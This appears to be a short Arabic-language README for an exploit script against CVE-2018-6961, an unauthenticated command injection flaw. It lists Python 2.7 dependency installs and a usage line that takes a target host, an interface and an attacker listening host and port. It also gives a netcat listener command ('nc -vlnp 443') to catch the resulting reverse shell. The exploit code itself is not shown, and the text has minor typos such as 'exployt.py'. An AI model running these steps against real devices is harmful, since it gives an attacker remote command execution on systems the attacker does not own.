CVE-2018-6961

CVE-2018-6961 - ثغرة حقن أوامر دون مصادقة

يعمل هذا الاستغلال على Python2.7 - لم يتم اختباره على أي إصدار آخر

1) تثبيت التبعيات

pip install request

إذا لم يكن pip مثبتًا، فقط قم بتشغيل

apt-get install python-pip

2) الاستخدام

python exployt.py --rhost --interface --lhost --lport --function

python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost 2.2.2.2 --lport 443 --function traceroute
Exploiting...................

3) لا تنسَ إعداد netcat على طرفية أخرى

nc -vlnp 443

TODO -- تحسين السكريبت لتشغيل netcat على نفس الطرفية